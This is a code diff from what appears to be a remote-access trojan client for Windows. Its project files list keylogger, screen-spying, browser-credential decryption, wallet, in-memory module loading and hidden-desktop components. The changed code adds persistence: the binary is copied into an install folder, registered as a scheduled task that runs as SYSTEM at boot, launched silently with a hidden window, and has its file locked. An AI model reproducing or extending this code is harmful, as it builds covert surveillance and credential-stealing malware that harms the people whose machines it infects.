|
||||
// }
|
||||
// CloseHandle(hread);
|
||||
// return 0;
|
||||
// }
|
||||
|
||||
|
||||
|
||||
// Now we indulge in a little skullduggery so that the code works whether
|
||||
// the user has included just zip or both zip and unzip.
|
||||
// Idea: if header files for both zip and unzip are present, then presumably
|
||||
// the cpp files for zip and unzip are both present, so we will call
|
||||
// one or the other of them based on a dynamic choice. If the header file
|
||||
// for only one is present, then we will bind to that particular one.
|
||||
ZRESULT CloseZipZ(HZIP hz);
|
||||
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
|
||||
bool IsZipHandleZ(HZIP hz);
|
||||
#ifdef _unzip_H
|
||||
#undef CloseZip
|
||||
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
|
||||
#else
|
||||
#define CloseZip CloseZipZ
|
||||
#define FormatZipMessage FormatZipMessageZ
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -185,6 +185,7 @@
|
||||
<ClCompile Include="..\common\ikcp.c" />
|
||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
@@ -193,6 +194,13 @@
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp">
|
||||
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
@@ -201,6 +209,7 @@
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||
@@ -212,7 +221,9 @@
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
@@ -222,6 +233,9 @@
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -232,6 +246,7 @@
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="auto_start.h" />
|
||||
@@ -243,6 +258,13 @@
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
@@ -251,6 +273,7 @@
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="my_clip.h" />
|
||||
<ClInclude Include="proxy\ProxyManager.h" />
|
||||
@@ -264,7 +287,9 @@
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
@@ -275,6 +300,10 @@
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
|
||||
@@ -0,0 +1,204 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="..\common\ikcp.c" />
|
||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="clang_rt_compat.c" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp" />
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
<ClCompile Include="decrypt\DecryptManager.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\Get360seInfo.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\GetBrowserInfo.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\UnCode.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\sqlite3\rijndael.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\sqlite3\sqlite3.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\cJSON\cJSON.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\cJSON\cJSON_Utils.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\base64\base64.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
<ClInclude Include="..\common\ikcp.h" />
|
||||
<ClInclude Include="..\common\mask.h" />
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="auto_start.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="ClientApp.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="my_clip.h" />
|
||||
<ClInclude Include="proxy\ProxyManager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="SafeThread.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||
<ClInclude Include="EncoderFactory.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="decrypt\DecryptManager.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\Get360seInfo.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\GetBrowserInfo.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\UnCode.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\sqlite3\rijndael.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\sqlite3\sqlite3.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\sqlite3\sqlite3ext.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\cJSON\cJSON.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\cJSON\cJSON_Utils.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\base64\base64.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="decrypt">
|
||||
<UniqueIdentifier>{4b839e4d-0a78-4ee2-8965-bfb259b28273}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+6
-1
@@ -450,7 +450,12 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
|
||||
param.User = g_Server.pwdHash;
|
||||
threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL);
|
||||
} else if (fdwReason == DLL_PROCESS_DETACH) {
|
||||
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
|
||||
if (threadHandle) {
|
||||
// DLL 卸载时强杀线程前记录日志,便于定位死锁。此处 Mprintf 在 release 被定义为空,
|
||||
// 且 DETACH 阶段 CRT 可能已不可用,故用内核 API OutputDebugStringA 输出。
|
||||
OutputDebugStringA("TerminateThread: DllMain DLL_PROCESS_DETACH\n");
|
||||
TerminateThread(threadHandle, 0x20250619);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
+59
-13
@@ -30,7 +30,7 @@ inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wc
|
||||
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
|
||||
}
|
||||
|
||||
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin)
|
||||
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin, BOOL systemBoot)
|
||||
{
|
||||
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||||
if (FAILED(hr)) {
|
||||
@@ -139,11 +139,11 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
|
||||
if (SUCCEEDED(hr)) {
|
||||
ITrigger* pTrigger = NULL;
|
||||
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
|
||||
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, systemBoot ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON, &pTrigger);
|
||||
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
|
||||
if (SUCCEEDED(hr)) {
|
||||
// 普通用户需要指定具体用户
|
||||
if (!runasAdmin) {
|
||||
if (!systemBoot && !runasAdmin) {
|
||||
ILogonTrigger* pLogonTrigger = NULL;
|
||||
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
|
||||
if (SUCCEEDED(hr)) {
|
||||
@@ -200,10 +200,18 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
|
||||
// 权限配置
|
||||
IPrincipal* pPrincipal = NULL;
|
||||
if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
||||
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
|
||||
if ((runasAdmin || systemBoot) && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
||||
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN);
|
||||
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
|
||||
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
||||
if (systemBoot)
|
||||
{
|
||||
BSTR sys = SysAllocString(L"SYSTEM");
|
||||
hr = pPrincipal->lpVtbl->put_UserId(pPrincipal,sys);
|
||||
if (FAILED(hr))
|
||||
Mprintf("put_UserId失败:%ld\n", hr);
|
||||
SysFreeString(sys);
|
||||
}
|
||||
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, (runasAdmin || systemBoot) ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
||||
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
||||
pPrincipal->lpVtbl->Release(pPrincipal);
|
||||
} else {
|
||||
@@ -235,9 +243,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
bstrTaskName,
|
||||
pTask,
|
||||
TASK_CREATE_OR_UPDATE,
|
||||
runasAdmin ? vUser : empty,
|
||||
systemBoot ? empty : (runasAdmin ? vUser : empty),
|
||||
empty,
|
||||
TASK_LOGON_INTERACTIVE_TOKEN,
|
||||
systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN,
|
||||
empty,
|
||||
&pRegisteredTask
|
||||
);
|
||||
@@ -289,6 +297,40 @@ BOOL IsRunningAsAdmin()
|
||||
return isAdmin;
|
||||
}
|
||||
|
||||
BOOL IsSystem()
|
||||
{
|
||||
HANDLE token = NULL;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
||||
return FALSE;
|
||||
|
||||
DWORD size = 0;
|
||||
GetTokenInformation(token, TokenUser, NULL, 0, &size);
|
||||
|
||||
PTOKEN_USER user = (PTOKEN_USER)malloc(size);
|
||||
if (!user) { CloseHandle(token); return FALSE; }
|
||||
|
||||
BOOL result = FALSE;
|
||||
if (GetTokenInformation(token, TokenUser, user, size, &size))
|
||||
{
|
||||
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
|
||||
|
||||
PSID systemSid = NULL;
|
||||
AllocateAndInitializeSid(&nt, 1,
|
||||
SECURITY_LOCAL_SYSTEM_RID,
|
||||
0, 0, 0, 0, 0, 0, 0,
|
||||
&systemSid);
|
||||
|
||||
result = EqualSid(user->User.Sid, systemSid);
|
||||
|
||||
FreeSid(systemSid);
|
||||
}
|
||||
|
||||
free(user);
|
||||
CloseHandle(token);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
||||
{
|
||||
SHELLEXECUTEINFOA shExecInfo;
|
||||
@@ -348,7 +390,7 @@ const char* GetInstallDirectory(const char * startupName)
|
||||
return folder;
|
||||
}
|
||||
|
||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log)
|
||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
return 1;
|
||||
@@ -368,8 +410,12 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
||||
|
||||
char dstFile[MAX_PATH] = { 0 };
|
||||
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
|
||||
BOOL isAdmin = IsRunningAsAdmin();
|
||||
if (isAdmin) runasAdmin = true;
|
||||
BOOL isAdmin = IsRunningAsAdmin() || IsSystem();
|
||||
bool bootRun = false;
|
||||
if (isAdmin) {
|
||||
bootRun = runasAdmin == 2;
|
||||
runasAdmin = true;
|
||||
}
|
||||
if (_stricmp(curFile, dstFile) != 0) {
|
||||
if (!isAdmin) {
|
||||
if (runasAdmin) {
|
||||
@@ -389,7 +435,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
||||
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
|
||||
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
|
||||
|
||||
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin);
|
||||
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin, bootRun);
|
||||
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||
if (b && status) {
|
||||
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
|
||||
@@ -398,7 +444,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
||||
|
||||
return 0;
|
||||
}
|
||||
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin);
|
||||
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin, bootRun);
|
||||
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||
if (lockFile)
|
||||
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
@@ -6,7 +6,8 @@ const char* GetInstallDirectory(const char* startupName);
|
||||
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
||||
|
||||
// return > 0 means to continue running else terminate.
|
||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log);
|
||||
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
|
||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log);
|
||||
|
||||
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
|
||||
bool IsSystemInSession0();
|
||||
+7
-2
@@ -9,14 +9,19 @@
|
||||
#define IDI_ICON2 105
|
||||
#define IDI_ICON_MSG 105
|
||||
#define IDC_EDIT_MESSAGE 1000
|
||||
#define IDD_CHAT 106
|
||||
#define IDC_EDIT_CHATLOG 1001
|
||||
#define IDC_EDIT_NEWMSG 1002
|
||||
#define IDC_BUTTON_SEND 1003
|
||||
#define IDC_BUTTON_END 1004
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 106
|
||||
#define _APS_NEXT_RESOURCE_VALUE 107
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1005
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
||||
@@ -0,0 +1,615 @@
|
||||
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "StdAfx.h"
|
||||
#include <Windowsx.h>
|
||||
#include "ScreenHideManager.h"
|
||||
#include <WinUser.h>
|
||||
#include <string>
|
||||
#include <Shlwapi.h>
|
||||
#include <ShlObj.h>
|
||||
#include <Tlhelp32.h>
|
||||
#include <shellapi.h>
|
||||
#include <winioctl.h>
|
||||
#include <Wtsapi32.h>
|
||||
#include <set>
|
||||
#include <vector>
|
||||
|
||||
|
||||
#pragma comment (lib, "Shlwapi.lib")
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
|
||||
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
|
||||
// 切换到目标桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 枚举目标桌面的所有窗口
|
||||
BOOL bFound = FALSE;
|
||||
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
||||
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
||||
|
||||
DWORD dwProcessId;
|
||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||
|
||||
// 获取进程名
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||||
if (hProcess) {
|
||||
char exePath[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||||
if (_stricmp(exePath, pData->first) == 0) {
|
||||
*(pData->second) = TRUE;
|
||||
return FALSE; // 终止枚举
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
return TRUE; // 继续枚举
|
||||
}, reinterpret_cast<LPARAM>(&data));
|
||||
|
||||
return bFound;
|
||||
}
|
||||
|
||||
// 获取指定桌面下的所有进程ID
|
||||
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
|
||||
std::set<DWORD> pidSet;
|
||||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
if (SetThreadDesktop(hDesk)) {
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
|
||||
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
|
||||
|
||||
// 跳过不可见窗口和子窗口
|
||||
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||
DWORD pid = 0;
|
||||
GetWindowThreadProcessId(hWnd, &pid);
|
||||
if (pid != 0) pids.insert(pid);
|
||||
}
|
||||
return TRUE;
|
||||
}, reinterpret_cast<LPARAM>(&pidSet));
|
||||
SetThreadDesktop(hOriginalDesk);
|
||||
}
|
||||
|
||||
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
|
||||
}
|
||||
|
||||
bool IsSystemProcess(DWORD pid) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) return true;
|
||||
|
||||
char exeName[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
bool isSystem = false;
|
||||
|
||||
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
|
||||
